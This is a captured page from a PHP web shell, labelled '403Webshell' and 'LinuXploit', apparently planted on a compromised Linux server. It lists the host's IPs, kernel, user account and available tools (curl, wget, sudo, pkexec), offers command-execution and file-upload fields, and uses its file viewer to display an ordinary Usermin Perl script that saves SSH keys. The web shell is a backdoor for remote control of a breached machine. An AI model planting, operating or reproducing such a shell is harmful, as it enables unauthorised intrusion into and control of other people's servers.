403Webshell
Server IP : 172.67.134.114  /  Your IP : 104.23.197.123
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/usermin/ssh/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/usermin/ssh/save_key.cgi
#!/usr/bin/perl
# Update a private key

require './ssh-lib.pl';
&ReadParseMime();
&error_setup($text{'ekey_err'});
@keys = &list_ssh_keys();
($key) = grep { $_->{'private_file'} eq $in{'file'} } @keys;
$key || &error($text{'ekey_egone'});

# Validate inputs
$in{'private'} =~ /\S/ || &error($text{'ekey_eprivate'});

# Write out the file
&open_tempfile(PRIVATE, ">$key->{'private_file'}");
&print_tempfile(PRIVATE, $in{'private'});
&close_tempfile(PRIVATE);

# Re-generate public key
$cmd = "ssh-keygen -y -f ".quotemeta($key->{'private_file'});
$out = &backquote_command("$cmd </dev/null 2>&1");
if ($out =~ /((\d+)\s+(\d+)\s+(\d+))$/) {
	$public = $1;
	}
elsif ($out =~ /((\S+)\s+([A-Za-z0-9\/=\+]+))$/) {
	$public = $1;
	}
else {
	&error($text{'ekey_epublic'});
	}
&open_tempfile(PRIVATE, ">$key->{'public_file'}");
&print_tempfile(PRIVATE, $public);
&close_tempfile(PRIVATE);

&redirect("list_keys.cgi");

Youez - 2016 - github.com/yon3zu
LinuXploit